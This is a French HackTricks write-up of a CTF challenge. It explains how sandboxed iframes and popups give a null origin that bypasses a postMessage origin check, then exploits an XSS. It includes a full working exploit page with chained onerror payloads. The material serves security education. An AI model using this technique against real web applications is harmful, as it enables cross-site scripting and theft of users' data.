7 KiB
Contournement de SOP avec des iframes - 1
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au dépôt hacktricks et au dépôt hacktricks-cloud.
Iframes dans SOP-1
Dans ce challenge créé par NDevTK et Terjanq, vous devez exploiter une XSS dans le code.
const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}
Le problème principal est que la page principale utilise DomPurify pour envoyer les données data.body
, donc pour envoyer vos propres données html à ce code, vous devez contourner e.origin !== window.origin
.
Voyons la solution qu'ils proposent.
Contournement SOP 1 (e.origin === null)
Lorsque //example.org
est intégré dans un iframe sandboxé, l'origine de la page sera null
, c'est-à-dire que window.origin === null
. Ainsi, en intégrant simplement l'iframe via <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">
, nous pourrions forcer l'origine null
.
Si la page était intégrable, vous pourriez contourner cette protection de cette manière (les cookies pourraient également devoir être définis sur SameSite=None
).
Contournement SOP 2 (window.origin === null)
Le fait moins connu est que lorsque la valeur de sandbox allow-popups
est définie, la popup ouverte héritera de tous les attributs sandboxés sauf si allow-popups-to-escape-sandbox
est défini.
Ainsi, l'ouverture d'une popup à partir d'une origine nulle rendra également window.origin
à l'intérieur de la popup nul.
Solution du défi
Par conséquent, pour ce défi, on pourrait créer un iframe, ouvrir une popup vers la page avec le gestionnaire de code XSS vulnérable (/iframe.php
), car window.origin === e.origin
car les deux sont null
, il est possible d'envoyer une charge utile qui exploitera le XSS.
Cette charge utile obtiendra l'identifiant et enverra un XSS retour à la page supérieure (la page qui a ouvert la popup), qui changera de localisation vers le vulnérable /iframe.php
. Comme l'identifiant est connu, il n'importe pas que la condition window.origin === e.origin
ne soit pas satisfaite (rappelez-vous, l'origine est la popup de l'iframe qui a une origine null
) car data.identifier === identifier
. Ensuite, le XSS se déclenchera à nouveau, cette fois dans la bonne origine.
<body>
<script>
f = document.createElement('iframe');
// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';
// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');
// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au dépôt hacktricks et au dépôt hacktricks-cloud.